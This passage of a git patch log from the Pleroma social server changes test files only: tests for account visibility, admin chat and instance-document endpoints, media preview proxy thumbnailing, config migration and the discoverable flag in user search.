Pleroma.UserTest do refute User.visible_for(user, other_user) == :visible end - test "returns true when the account is unauthenticated and auth is not required" do + test "returns true when the account is unconfirmed and confirmation is required but the account is remote" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: false, confirmation_pending: true) + other_user = insert(:user, local: true) + + assert User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and confirmation is not required" do user = insert(:user, local: true, confirmation_pending: true) other_user = insert(:user, local: true) assert User.visible_for(user, other_user) == :visible end - test "returns true when the account is unauthenticated and being viewed by a privileged account (auth required)" do + test "returns true when the account is unconfirmed and being viewed by a privileged account (confirmation required)" do Pleroma.Config.put([:instance, :account_activation_required], true) user = insert(:user, local: true, confirmation_pending: true) -- cgit v1.2.3 From 73e0e6a8a2efaac513077317229f72b128f3a3ea Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 16 Sep 2020 10:56:42 -0500 Subject: Remove unused import --- test/object/fetcher_test.exs | 1 - 1 file changed, 1 deletion(-) (limited to 'test') diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs index 3173ee31c..14d2c645f 100644 --- a/test/object/fetcher_test.exs +++ b/test/object/fetcher_test.exs @@ -10,7 +10,6 @@ defmodule Pleroma.Object.FetcherTest do alias Pleroma.Object alias Pleroma.Object.Fetcher - import ExUnit.CaptureLog import Mock import Tesla.Mock -- cgit v1.2.3 From e39ff2616b6694f97ab793bc60b5caa7b509f0b1 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 17 Sep 2020 13:29:26 +0200 Subject: Admin chat api tests: Small additions. --- test/web/admin_api/controllers/admin_api_controller_test.exs | 2 +- test/web/admin_api/controllers/chat_controller_test.exs | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index 3476fd0b4..e6ad210a2 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1521,7 +1521,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do %{user: user} end - test "renders user's statuses", %{conn: conn, user: user} do + test "renders user's chats", %{conn: conn, user: user} do conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") assert json_response(conn, 200) |> length() == 3 diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index e81484ce6..bd4c9c9d1 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -40,8 +40,10 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do object = Object.normalize(message, false) chat = Chat.get(user.id, recipient.ap_id) + recipient_chat = Chat.get(recipient.id, user.ap_id) cm_ref = MessageReference.for_chat_and_object(chat, object) + recipient_cm_ref = MessageReference.for_chat_and_object(recipient_chat, object) result = conn @@ -56,6 +58,7 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do assert result["id"] == cm_ref.id refute MessageReference.get_by_id(cm_ref.id) + refute MessageReference.get_by_id(recipient_cm_ref.id) assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) end end -- cgit v1.2.3 From 5e3c70afa5c02926a5578628431487e92b2175e9 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 17 Sep 2020 13:37:25 +0200 Subject: AdminAPI Chat tests: Remove factory. The factory system doesn't work too well with how the chats are done. Instead of tempting people to use it, let's rather use the CommonAPI system for now. --- test/support/factory.ex | 54 ---------------------- .../controllers/admin_api_controller_test.exs | 13 ++++-- 2 files changed, 8 insertions(+), 59 deletions(-) (limited to 'test') diff --git a/test/support/factory.ex b/test/support/factory.ex index e59d83242..2fdfabbc5 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -441,58 +441,4 @@ defmodule Pleroma.Factory do phrase: "cofe" } end - - def chat_factory(attrs \\ %{}) do - user = attrs[:user] || insert(:user) - recipient = attrs[:recipient] || insert(:user) - - %Pleroma.Chat{ - user_id: user.id, - recipient: recipient.ap_id - } - end - - def chat_message_factory(attrs \\ %{}) do - text = sequence(:text, &"This is :moominmamma: chat message #{&1}") - chat = attrs[:chat] || insert(:chat) - - data = %{ - "type" => "ChatMessage", - "content" => text, - "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(), - "actor" => User.get_by_id(chat.user_id).ap_id, - "to" => [chat.recipient], - "published" => DateTime.utc_now() |> DateTime.to_iso8601() - } - - %Pleroma.Object{ - data: merge_attributes(data, Map.get(attrs, :data, %{})) - } - end - - def chat_message_activity_factory(attrs \\ %{}) do - chat = attrs[:chat] || insert(:chat) - chat_message = attrs[:chat_message] || insert(:chat_message, chat: chat) - - data_attrs = attrs[:data_attrs] || %{} - attrs = Map.drop(attrs, [:chat, :chat_message, :data_attrs]) - - data = - %{ - "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), - "type" => "Create", - "actor" => chat_message.data["actor"], - "to" => chat_message.data["to"], - "object" => chat_message.data["id"], - "published" => DateTime.utc_now() |> DateTime.to_iso8601() - } - |> Map.merge(data_attrs) - - %Pleroma.Activity{ - data: data, - actor: data["actor"], - recipients: data["to"] - } - |> Map.merge(attrs) - end end diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index e6ad210a2..e4d3512de 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1513,10 +1513,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do describe "GET /api/pleroma/admin/users/:nickname/chats" do setup do user = insert(:user) + recipients = insert_list(3, :user) - insert(:chat, user: user) - insert(:chat, user: user) - insert(:chat, user: user) + Enum.each(recipients, fn recipient -> + CommonAPI.post_chat_message(user, recipient, "yo") + end) %{user: user} end @@ -1531,7 +1532,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do setup do user = insert(:user) - insert(:chat, user: user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") %{conn: conn} = oauth_access(["read:chats"]) %{conn: conn, user: user} end @@ -1546,7 +1548,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do setup do user = insert(:user) - insert(:chat, user: user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") %{conn: build_conn(), user: user} end -- cgit v1.2.3 From 582ad5d4e1587b3dba9d879bd68dd9a315c8446e Mon Sep 17 00:00:00 2001 From: eugenijm Date: Sun, 30 Aug 2020 15:15:14 +0300 Subject: AdminAPI: Allow to modify Terms of Service and Instance Panel via Admin API --- test/fixtures/custom_instance_panel.html | 1 + .../instance_document_controller_test.exs | 112 +++++++++++++++++++++ 2 files changed, 113 insertions(+) create mode 100644 test/fixtures/custom_instance_panel.html create mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs (limited to 'test') diff --git a/test/fixtures/custom_instance_panel.html b/test/fixtures/custom_instance_panel.html new file mode 100644 index 000000000..6371a1e43 --- /dev/null +++ b/test/fixtures/custom_instance_panel.html @@ -0,0 +1 @@ +

Custom instance panel

\ No newline at end of file diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs new file mode 100644 index 000000000..60dcc9dff --- /dev/null +++ b/test/web/admin_api/controllers/instance_document_controller_test.exs @@ -0,0 +1,112 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do + use Pleroma.Web.ConnCase, async: true + import Pleroma.Factory + alias Pleroma.Config + + @dir "test/tmp/instance_static" + @default_instance_panel ~s(

Welcome to Pleroma!

) + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/instance_document/:name" do + test "return the instance document url", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + response = html_response(index, 200) + assert String.contains?(response, @default_instance_panel) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert json_response(conn, :forbidden) + end + + test "it returns 404 if the instance document with the given name doesn't exist", %{ + conn: conn + } do + conn = get(conn, "/api/pleroma/admin/instance_document/1234") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "PATCH /api/pleroma/admin/instance_document/:name" do + test "uploads the instance document", %{conn: conn} do + image = %Plug.Upload{ + content_type: "text/html", + path: Path.absname("test/fixtures/custom_instance_panel.html"), + filename: "custom_instance_panel.html" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ + "file" => image + }) + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "

Custom instance panel

" + end + end + + describe "DELETE /api/pleroma/admin/instance_document/:name" do + test "deletes the instance document", %{conn: conn} do + File.mkdir!(@dir <> "/instance/") + File.write!(@dir <> "/instance/panel.html", "Custom instance panel") + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "Custom instance panel" + + conn + |> delete("/api/pleroma/admin/instance_document/instance-panel") + |> json_response_and_validate_schema(200) + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) + index = get(build_conn(), url) + response = html_response(index, 200) + assert String.contains?(response, @default_instance_panel) + end + end +end -- cgit v1.2.3 From c711a2b15761db9d2d30035e9fee0783f0bf77b0 Mon Sep 17 00:00:00 2001 From: eugenijm Date: Thu, 17 Sep 2020 16:54:38 +0300 Subject: Return the file content for `GET /api/pleroma/admin/instance_document/:document_name` --- .../controllers/instance_document_controller_test.exs | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) (limited to 'test') diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs index 60dcc9dff..5f7b042f6 100644 --- a/test/web/admin_api/controllers/instance_document_controller_test.exs +++ b/test/web/admin_api/controllers/instance_document_controller_test.exs @@ -33,10 +33,8 @@ defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do test "return the instance document url", %{conn: conn} do conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") - assert %{"url" => url} = json_response_and_validate_schema(conn, 200) - index = get(build_conn(), url) - response = html_response(index, 200) - assert String.contains?(response, @default_instance_panel) + assert content = html_response(conn, 200) + assert String.contains?(content, @default_instance_panel) end test "it returns 403 if requested by a non-admin" do @@ -91,9 +89,7 @@ defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do conn |> get("/api/pleroma/admin/instance_document/instance-panel") - assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) - index = get(build_conn(), url) - assert html_response(index, 200) == "Custom instance panel" + assert html_response(conn_resp, 200) == "Custom instance panel" conn |> delete("/api/pleroma/admin/instance_document/instance-panel") @@ -103,10 +99,8 @@ defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do conn |> get("/api/pleroma/admin/instance_document/instance-panel") - assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) - index = get(build_conn(), url) - response = html_response(index, 200) - assert String.contains?(response, @default_instance_panel) + assert content = html_response(conn_resp, 200) + assert String.contains?(content, @default_instance_panel) end end end -- cgit v1.2.3 From 7cdbd91d83c02a79c22783ca489ef82e82b31a51 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 17 Sep 2020 17:13:40 +0300 Subject: [#2497] Configurability of :min_content_length (preview proxy). Refactoring, documentation, tests. --- test/fixtures/image.gif | Bin 0 -> 1001718 bytes test/fixtures/image.png | Bin 0 -> 104426 bytes .../media_proxy/media_proxy_controller_test.exs | 278 +++++++++++++++++++-- 3 files changed, 262 insertions(+), 16 deletions(-) create mode 100755 test/fixtures/image.gif create mode 100755 test/fixtures/image.png (limited to 'test') diff --git a/test/fixtures/image.gif b/test/fixtures/image.gif new file mode 100755 index 000000000..9df64778b Binary files /dev/null and b/test/fixtures/image.gif differ diff --git a/test/fixtures/image.png b/test/fixtures/image.png new file mode 100755 index 000000000..e999e8800 Binary files /dev/null and b/test/fixtures/image.png differ diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index 0dd2fd10c..33e6873f7 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -14,27 +14,28 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do on_exit(fn -> Cachex.clear(:banned_urls_cache) end) end - test "it returns 404 when MediaProxy disabled", %{conn: conn} do - clear_config([:media_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeee/fff") - end - - describe "" do + describe "Media Proxy" do setup do clear_config([:media_proxy, :enabled], true) clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + [url: MediaProxy.encode_url("https://google.fn/test.png")] end + test "it returns 404 when disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeee/fff") + end + test "it returns 403 for invalid signature", %{conn: conn, url: url} do Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") %{path: path} = URI.parse(url) @@ -55,7 +56,7 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do } = get(conn, "/proxy/hhgfh/eeee/fff") end - test "redirects on valid url when filename is invalidated", %{conn: conn, url: url} do + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do invalid_url = String.replace(url, "test.png", "test-file.png") response = get(conn, invalid_url) assert response.status == 302 @@ -78,4 +79,249 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do end end end + + describe "Media Preview Proxy" do + setup do + clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + + original_url = "https://google.fn/test.png" + + [ + url: MediaProxy.encode_preview_url(original_url), + media_proxy_url: MediaProxy.encode_url(original_url) + ] + end + + test "returns 404 when media proxy is disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "returns 404 when disabled", %{conn: conn} do + clear_config([:media_preview_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "it returns 403 for invalid signature", %{conn: conn, url: url} do + Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") + %{path: path} = URI.parse(url) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, path) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee") + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee/fff") + end + + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do + invalid_url = String.replace(url, "test.png", "test-file.png") + response = get(conn, invalid_url) + assert response.status == 302 + assert redirected_to(response) == url + end + + test "responds with 424 Failed Dependency if HEAD request to media proxy fails", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 500, body: ""} + end) + + response = get(conn, url) + assert response.status == 424 + assert response.resp_body == "Can't fetch HTTP headers (HTTP 500)." + end + + test "redirects to media proxy URI on unsupported content type", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "application/pdf"}]} + end) + + response = get(conn, url) + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static=true` and GIF image preview requested, responds with JPEG image", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + # Setting a high :min_content_length to ensure this scenario is not affected by its logic + clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "1001718"}] + } + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.gif")} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "with GIF image preview requested and no `static` param, redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/gif"}]} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static` param and non-GIF image preview requested, " <> + "redirects to media preview proxy URI without `static` param", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 302 + assert redirected_to(response) == url + end + + test "with :min_content_length setting not matched by Content-Length header, " <> + "redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + clear_config([:media_preview_proxy, :min_content_length], 100_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "5000"}] + } + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "thumbnails PNG images into PNG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.png")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/png"] + assert response.resp_body != "" + end + + test "thumbnails JPEG images into JPEG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.jpg")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "redirects to media proxy URI in case of thumbnailing error", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "error"} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + end end -- cgit v1.2.3 From f7e40f7ef134a3030aa61114daa39810efb5889d Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 17 Sep 2020 09:32:50 -0500 Subject: Deny ConfigDB migration when deprecated settings found --- test/tasks/config_test.exs | 13 +++++++++++++ 1 file changed, 13 insertions(+) (limited to 'test') diff --git a/test/tasks/config_test.exs b/test/tasks/config_test.exs index fb12e7fb3..f36648829 100644 --- a/test/tasks/config_test.exs +++ b/test/tasks/config_test.exs @@ -40,6 +40,19 @@ defmodule Mix.Tasks.Pleroma.ConfigTest do on_exit(fn -> Application.put_env(:quack, :level, initial) end) end + @tag capture_log: true + test "config migration refused when deprecated settings are found" do + clear_config([:media_proxy, :whitelist], ["domain_without_scheme.com"]) + assert Repo.all(ConfigDB) == [] + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + assert_received {:mix_shell, :error, [message]} + + assert message =~ + "Migration is not allowed until all deprecation warnings have been resolved." + end + test "filtered settings are migrated to db" do assert Repo.all(ConfigDB) == [] -- cgit v1.2.3 From 41939e3175cf31884cb84acd136c303a84c77f8c Mon Sep 17 00:00:00 2001 From: stwf Date: Mon, 14 Sep 2020 11:40:52 -0400 Subject: User search respect discoverable flag --- .../tesla_mock/admin@mastdon.example.org.json | 44 +++++++++++++--------- .../https___osada.macgirvin.com_channel_mike.json | 3 +- test/support/factory.ex | 1 + test/web/admin_api/search_test.exs | 9 +++++ test/web/mastodon_api/views/account_view_test.exs | 4 +- 5 files changed, 40 insertions(+), 21 deletions(-) (limited to 'test') diff --git a/test/fixtures/tesla_mock/admin@mastdon.example.org.json b/test/fixtures/tesla_mock/admin@mastdon.example.org.json index a911b979a..f961ccb36 100644 --- a/test/fixtures/tesla_mock/admin@mastdon.example.org.json +++ b/test/fixtures/tesla_mock/admin@mastdon.example.org.json @@ -1,20 +1,24 @@ { - "@context": ["https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1", { - "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", - "sensitive": "as:sensitive", - "movedTo": "as:movedTo", - "Hashtag": "as:Hashtag", - "ostatus": "http://ostatus.org#", - "atomUri": "ostatus:atomUri", - "inReplyToAtomUri": "ostatus:inReplyToAtomUri", - "conversation": "ostatus:conversation", - "toot": "http://joinmastodon.org/ns#", - "Emoji": "toot:Emoji", - "alsoKnownAs": { - "@id": "as:alsoKnownAs", - "@type": "@id" + "@context": [ + "https://www.w3.org/ns/activitystreams", + "https://w3id.org/security/v1", + { + "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", + "sensitive": "as:sensitive", + "movedTo": "as:movedTo", + "Hashtag": "as:Hashtag", + "ostatus": "http://ostatus.org#", + "atomUri": "ostatus:atomUri", + "inReplyToAtomUri": "ostatus:inReplyToAtomUri", + "conversation": "ostatus:conversation", + "toot": "http://joinmastodon.org/ns#", + "Emoji": "toot:Emoji", + "alsoKnownAs": { + "@id": "as:alsoKnownAs", + "@type": "@id" + } } - }], + ], "id": "http://mastodon.example.org/users/admin", "type": "Person", "following": "http://mastodon.example.org/users/admin/following", @@ -23,6 +27,7 @@ "outbox": "http://mastodon.example.org/users/admin/outbox", "preferredUsername": "admin", "name": null, + "discoverable": "true", "summary": "\u003cp\u003e\u003c/p\u003e", "url": "http://mastodon.example.org/@admin", "manuallyApprovesFollowers": false, @@ -34,7 +39,8 @@ "owner": "http://mastodon.example.org/users/admin", "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtc4Tir+3ADhSNF6VKrtW\nOU32T01w7V0yshmQei38YyiVwVvFu8XOP6ACchkdxbJ+C9mZud8qWaRJKVbFTMUG\nNX4+6Q+FobyuKrwN7CEwhDALZtaN2IPbaPd6uG1B7QhWorrY+yFa8f2TBM3BxnUy\nI4T+bMIZIEYG7KtljCBoQXuTQmGtuffO0UwJksidg2ffCF5Q+K//JfQagJ3UzrR+\nZXbKMJdAw4bCVJYs4Z5EhHYBwQWiXCyMGTd7BGlmMkY6Av7ZqHKC/owp3/0EWDNz\nNqF09Wcpr3y3e8nA10X40MJqp/wR+1xtxp+YGbq/Cj5hZGBG7etFOmIpVBrDOhry\nBwIDAQAB\n-----END PUBLIC KEY-----\n" }, - "attachment": [{ + "attachment": [ + { "type": "PropertyValue", "name": "foo", "value": "bar" @@ -58,5 +64,7 @@ "mediaType": "image/png", "url": "https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" }, - "alsoKnownAs": ["http://example.org/users/foo"] -} + "alsoKnownAs": [ + "http://example.org/users/foo" + ] +} \ No newline at end of file diff --git a/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json b/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json index c42f3a53c..ca76d6e17 100644 --- a/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json +++ b/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json @@ -8,6 +8,7 @@ "preferredUsername": "mike", "name": "Mike Macgirvin (Osada)", "updated": "2018-08-29T03:09:11Z", + "discoverable": "true", "icon": { "type": "Image", "mediaType": "image/jpeg", @@ -51,4 +52,4 @@ "created": "2018-10-17T07:16:28Z", "signatureValue": "WbfFVIPImkd3yNu6brz0CvZaeV242rwAbH0vy8DM4vfnXCxLr5Uv/Wj9gwP+tbooTxGaahAKBeqlGkQp8RLEo37LATrKMRLA/0V6DeeV+C5ORWR9B4WxyWiD3s/9Wf+KesFMtktNLAcMZ5PfnOS/xNYerhnpkp/gWPxtkglmLIWJv+w18A5zZ01JCxsO4QljHbhYaEUPHUfQ97abrkLECeam+FThVwdO6BFCtbjoNXHfzjpSZL/oKyBpi5/fpnqMqOLOQPs5WgBBZJvjEYYkQcoPTyxYI5NGpNbzIjGHPQNuACnOelH16A7L+q4swLWDIaEFeXQ2/5bmqVKZDZZ6usNP4QyTVszwd8jqo27qcDTNibXDUTsTdKpNQvM/3UncBuzuzmUV3FczhtGshIU1/pRVZiQycpVqPlGLvXhP/yZCe+1siyqDd+3uMaS2vkHTObSl5r+VYof+c+TcjrZXHSWnQTg8/X3zkoBWosrQ93VZcwjzMxQoARYv6rphbOoTz7RPmGAXYUt3/PDWkqDlmQDwCpLNNkJo1EidyefZBdD9HXQpCBO0ZU0NHb0JmPvg/+zU0krxlv70bm3RHA/maBETVjroIWzt7EwQEg5pL2hVnvSBG+1wF3BtRVe77etkPOHxLnYYIcAMLlVKCcgDd89DPIziQyruvkx1busHI08=" } -} +} \ No newline at end of file diff --git a/test/support/factory.ex b/test/support/factory.ex index 2fdfabbc5..fb82be0c4 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -31,6 +31,7 @@ defmodule Pleroma.Factory do nickname: sequence(:nickname, &"nick#{&1}"), password_hash: Pbkdf2.hash_pwd_salt("test"), bio: sequence(:bio, &"Tester Number #{&1}"), + discoverable: true, last_digest_emailed_at: NaiveDateTime.utc_now(), last_refreshed_at: NaiveDateTime.utc_now(), notification_settings: %Pleroma.User.NotificationSetting{}, diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs index b974cedd5..d88867c52 100644 --- a/test/web/admin_api/search_test.exs +++ b/test/web/admin_api/search_test.exs @@ -177,5 +177,14 @@ defmodule Pleroma.Web.AdminAPI.SearchTest do assert total == 3 assert count == 1 end + + test "it returns non-discoverable users" do + insert(:user) + insert(:user, discoverable: false) + + {:ok, _results, total} = Search.user() + + assert total == 2 + end end end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index c5f491d6b..a54b765ef 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -68,7 +68,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do sensitive: false, pleroma: %{ actor_type: "Person", - discoverable: false + discoverable: true }, fields: [] }, @@ -166,7 +166,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do sensitive: false, pleroma: %{ actor_type: "Service", - discoverable: false + discoverable: true }, fields: [] }, -- cgit v1.2.3 From dfc621a5291a761f025670153bb58a2005fd0a73 Mon Sep 17 00:00:00 2001 From: stwf Date: Thu, 17 Sep 2020 10:13:56 -0400 Subject: add test and changelog entry --- test/user_search_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) (limited to 'test') diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 01976bf58..8529ce6db 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -25,6 +25,14 @@ defmodule Pleroma.UserSearchTest do assert found_user.id == user.id end + test "excludes users when discoverable is false" do + insert(:user, %{nickname: "john 3000", discoverable: false}) + insert(:user, %{nickname: "john 3001"}) + + users = User.search("john") + assert Enum.count(users) == 1 + end + test "excludes service actors from results" do 